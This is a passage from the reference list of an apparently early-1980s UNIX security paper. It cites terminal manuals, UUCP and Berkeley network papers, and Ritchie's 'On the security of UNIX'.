[20] *BitGraph Terminal User's Manual, Draft Version*. Boston, Massachusetts: Bolt, Beranek, and Newman, Inc., Jan. 1982.

[21] *Hazeltine 1420 Video Display Terminal Reference Manual*. Greenlawn, New York: Hazeltine Corporation, Jan. 1979, no. HZ-1079.

[22] *Hazeltine Executive 80 Model 20 Reference Manual*. Greenlawn, New York: Hazeltine Corporation, Jan. 1981, no. HZ-1086.

[23] D. A. Nowitz and M. E. Lesk, "Implementation of a dial-up network of UNIX systems," in *UNIX Programmer's Manual*, June 1980, vol. 2.

[24] E. Schmidt, "The Berkeley network—a retrospective," in *UNIX Programmer's Manual*, June 1979, vol. 2.

[25] D. A. Nowitz, "Uucp implementation description," in *UNIX Programmer's Manual*, Nov. 1979, vol. 2.

[26] E. Schmidt, "An introduction to the Berkeley network," in *UNIX Programmer's Manual*, Mar. 1981, vol. 2.

[27] M. Bishop, "Breaking a simple rotor system," 1983.

[28] B. W. Kernighan and P. J. Plaugher, *The Elements of Programming Style*, 2nd ed. New York, New York: McGraw-Hill Book Co., 1978.

[29] D. M. Ritchie, "On the security of UNIX," in *UNIX Programmer's Manual*, 1978, vol. 2.